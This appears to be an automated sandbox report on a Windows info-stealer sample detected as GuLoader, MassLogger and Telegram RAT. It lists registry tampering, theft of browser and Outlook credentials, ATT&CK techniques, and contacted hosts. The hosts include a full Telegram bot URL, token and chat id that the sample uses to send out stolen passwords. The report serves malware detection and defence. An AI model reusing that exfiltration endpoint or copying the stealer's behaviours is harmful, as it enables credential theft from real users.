Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rXKfKM0T49.exe PID: 1072, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rXKfKM0T49.exe PID: 1072, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rXKfKM0T49.exe PID: 1072, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rXKfKM0T49.exe PID: 1072, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rXKfKM0T49.exe PID: 1072, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rXKfKM0T49.exe	75%	Virustotal		Browse
rXKfKM0T49.exe	78%	ReversingLabs	Win32.Trojan.GuLoader
rXKfKM0T49.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://api.telegram.orgL	0%	Avira URL Cloud	safe
http://checkip.dyndn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.46	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/#&	rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000358FF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003583C000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035827000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.orgL	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189ec	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2628850496.000000000527B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035761000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	rXKfKM0T49.exe	false		high
http://api.telegram.org	rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035761000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndn	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.46	drive.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588260
Start date and time:	2025-01-10 23:09:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rXKfKM0T49.exe renamed because original name is a hash value
Original Sample Name:	28d6a2e755f646875e1ed22b6e8443e074e2fa7730d4f202ffe21c48db789fad.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 167 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:11:58	API Interceptor	16750x Sleep call for process: rXKfKM0T49.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.96.1	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/58m5/
	EIvidclKOb.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	www.aonline.top/fqlg/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
132.226.247.73	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
checkip.dyndns.com	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
api.telegram.org	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	104.21.96.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	M7XS5C07kV.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	http://@1800-web.com/new/auth/6XEcGVvsnjwXq8bbJloqbuPkeuHjc6rLcgYUe/bGVvbi5ncmF2ZXNAYXRvcy5uZXQ=	Get hash	malicious	Unknown	Browse	104.17.25.14
UTMEMUS	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	iRmpdWgpoF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	iRmpdWgpoF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3pwbTZtiDu.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.181.225 216.58.206.46
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
